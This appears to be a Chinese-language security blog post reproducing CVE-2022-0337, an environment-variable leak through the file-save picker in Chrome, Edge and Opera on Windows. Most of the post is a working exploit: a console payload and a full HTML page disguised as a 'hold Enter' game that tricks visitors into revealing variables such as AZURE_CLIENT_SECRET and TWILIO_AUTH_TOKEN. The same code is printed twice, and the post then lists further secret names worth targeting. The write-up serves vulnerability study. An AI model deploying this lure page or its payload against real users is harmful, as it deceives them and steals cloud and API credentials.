头图

前言

 前两天在刷tw,看到了个比较有意思的一个CVE漏洞,价值奖励是10000美刀,比较好奇的是价值10000美刀的漏洞是什么样子的,漏洞利用就是需要在浏览器中进行用户交互才能触发该漏洞,但由于 Windows 的文件保存默认为接受,通过使用强制您按 ENTER 约 2 秒的技巧简单地泄漏数十个环境变量。

影响版本

Google Chrome版本范围92.x-96.x

Microsoft Edge版本范围92.x-96.x

Opera版本范围78.x-81.x

复现

 在存在漏洞的浏览器F12的控制台输入payload

let a = await window.showSaveFilePicker({suggestedName:'%username%'});a.name;

 但是必须要访问一个存在的html,百度首页测试

 保存后控制台输出环境变量username的值

 漏洞发现者为:Maciej Pulikowski,exp也是来自于作者,中间改了点样式,因为觉得有点不太美观!

 EXP

<html>
<head>

<title>
  CVE-2022-0337 System environment variables leak on Google Chrome,
  Microsoft Edge and Opera
</title>
<meta charset="UTF-8" />

</head>

<style>

body {
  background: rgba(212,0,0,0.2);
  display: flex;
  justify-content: center;
  align-items: center;
  flex-direction: column;
}

h1,
h2,
h3 {
-webkit-text-stroke: 1px #00000050;
}

h1 {
color: #d96c06;
font-size: 36px;
}
h2 {
color: #1ebe8e;
font-size: 46px;
}
h3 {
color: #c6f91f;
font-size: 18px;
}
h2 span {
color: #cf4848;
font-size: 70px;
}

 #author {
font-size: 28px;
}

span {
font-weight: 100;
}
</style>

<body>

<script>
  //how many time enter clicked in row
  let countEnter = 0;
  //is file downloaded
  let isDownloaded = false;

  //on page load
  window.onload = function () {
    const body = document.querySelector("body");
    const pixel = document.querySelector("#pixel");

    body.onkeydown = (e) => (e.key == "Enter" ? clickedEnter() : 1);
    body.onkeyup = (e) => (e.key == "Enter" ? cancelEnter() : 1);

    const randomNumber = Math.floor(Math.random() * 990) + 1;
    const filename = `f${randomNumber}.f`;

    //List of environment variables that hacker is interested in.
    const environmentVariables = [
      "USERNAME",
      "USERDOMAIN",
      "SESSIONNAME",
      "COMPUTERNAME",
      "KEY_VAULT_URL",
      "SECRET_NAME",
      "AZURE_TENANT_ID",
      "AZURE_CLIENT_ID",
      "AZURE_CLIENT_SECRET",
      "TWILIO_ACCOUNT_SID",
      "TWILIO_AUTH_TOKEN",
      //'TOKEN',
      //'PASSWORD'
    ];

    const suggestedName =
      environmentVariables.map((x) => `%${x}%`).join("@") + filename;

    pixel.addEventListener("click", async () => {
      //handle to get file
      const handle = await window.showSaveFilePicker({ suggestedName });
      //sometimes can throw an exception because file name is too big, but we can create more handles and put each 4 environmentVariables to deal with that problem
      //result from user
      const username = handle.name.split("@")[0];

      const userInfo = handle.name
        .replaceAll(filename, "")
        .split("@")
        .map(
          (x, i) =>
            `${environmentVariables[i]} = ${x.includes("%") ? "null" : x}`
        )
        .join("<br>");
      const guessWinPath = `C:/Users/${username}`;
      document.querySelector(
        "#userInfo"
      ).innerHTML = `USER'S ENVIRONMENT VARIABLES: <br>${userInfo} <br> guessWinPath = C:/users/${username}`;
      document.querySelector("#gameover").textContent =
        "GAME OVER - Need refresh to start again";
    });
  };

  function clickedEnter() {
    countEnter++;
    //if button was hold more then 1 second and it wasn't downloaded - we can change !isDownloaded to countEnter % 30 === 0 to download many files
    if (countEnter > 5 && !isDownloaded) {
      pixel.click();
      //set file is downloaded
      isDownloaded = true;
    }
  }

  function cancelEnter() {
    //reset count enter if enter is not hold
    countEnter = 0;
  }
</script>
<!-- div used to click to open Save As dialog -->
<div id="pixel"></div>
<h3 id="userInfo"></h3>
<h1>Super Simple Game<span>******</span></h1>
<h2><span>**HOLD ENTER</span> for 2 seconds</h2>
<h3 id="gameover"></h3>

</body>
</html>
 这里选择版本

92.0.4515.159(正式版本)

 刷新页面后长按Enter键两秒即可触发payload

分析

 分一下payload前面的49行之前内容是定义了html的样式,核心内容在

<script>

  //how many time enter clicked in row
  let countEnter = 0;
  //is file downloaded
  let isDownloaded = false;

//on page load
window.onload = function () {

const body = document.querySelector("body");
const pixel = document.querySelector("#pixel");

body.onkeydown = (e) => (e.key == "Enter" ? clickedEnter() : 1);
body.onkeyup = (e) => (e.key == "Enter" ? cancelEnter() : 1);

const randomNumber = Math.floor(Math.random() * 990) + 1;
const filename = `f${randomNumber}.f`;

//List of environment variables that hacker is interested in.
const environmentVariables = [
  "USERNAME",
  "USERDOMAIN",
  "SESSIONNAME",
  "COMPUTERNAME",
  "KEY_VAULT_URL",
  "SECRET_NAME",
  "AZURE_TENANT_ID",
  "AZURE_CLIENT_ID",
  "AZURE_CLIENT_SECRET",
  "TWILIO_ACCOUNT_SID",
  "TWILIO_AUTH_TOKEN",
  //'TOKEN',
  //'PASSWORD'
];

const suggestedName =
  environmentVariables.map((x) => `%${x}%`).join("@") + filename;

pixel.addEventListener("click", async () => {
  //handle to get file
  const handle = await window.showSaveFilePicker({ suggestedName });
  //sometimes can throw an exception because file name is too big, but we can create more handles and put each 4 environmentVariables to deal with that problem
  //result from user
  const username = handle.name.split("@")[0];

  const userInfo = handle.name
    .replaceAll(filename, "")
    .split("@")
    .map(
      (x, i) =>
        `${environmentVariables[i]} = ${x.includes("%") ? "null" : x}`
    )
    .join("<br>");
  const guessWinPath = `C:/Users/${username}`;
  document.querySelector(
    "#userInfo"
  ).innerHTML = `USER'S ENVIRONMENT VARIABLES: <br>${userInfo} <br> guessWinPath = C:/users/${username}`;
  document.querySelector("#gameover").textContent =
    "GAME OVER - Need refresh to start again";
});

};

function clickedEnter() {

countEnter++;
//if button was hold more then 1 second and it wasn't downloaded - we can change !isDownloaded to countEnter % 30 === 0 to download many files
if (countEnter > 5 && !isDownloaded) {
  pixel.click();
  //set file is downloaded
  isDownloaded = true;
}

}

function cancelEnter() {

//reset count enter if enter is not hold
countEnter = 0;

}
</script>
 看标签的话定义为JavaScript语言,泄露的配置信息在69-84行定义

 在63和64行定义了长按Enter键相当于触发script标签

 随机数生成文件名后缀,随机数大小为0到991,fimename=随机数.f

suggestedName格式为定义的%{x}%@filename即

suggestedName=%{x}%@随机数.f

 继续向下看

 上述代码为触发事件操作,定义了所泄露的在environmentVariables中定义的属性,且调用属性suggestedName做打印。

 所以最终在执行payload的时候保存的文件名为

%USERNAME%@%USERDOMAIN%@%SESSIONNAME%@%COMPUTERNAME%@%KEY_VAULT_URL%@%SECRET_NAME%@%AZURE_TENANT_ID%@%AZURE_CLIENT_ID%@%AZURE_CLIENT_SECRET%@%TWILIO_ACCOUNT_SID%@%TWILIO_AUTH_TOKEN%@%TOKEN%@%PASSWORD%f416.f

 那么接下来需要思考两个问题

泄露的漏洞触发的原理又在哪里

能做什么呢?

 1.根据测试,漏洞在windwos易受攻击。Linux 和Mac 是安全的,因为在命名的时候使用了ENV环境变量,所以会触发,在 Windows 中,%ENV_VAR%可以使用 来引用环境变量,文件名称的命名时利用环境变量来命名的话,在调用文件的话会返回环境变量的值。

 2.因为windows中能够利用环境变量有很多,例如

AWS_SECRET_ACCESS_KEY
AZURE_CLIENT_SECRET
binance_secret
GITHUB_TOKEN
GOOGLE_API_KEY

结语

 大佬毕竟是大佬呀!!!

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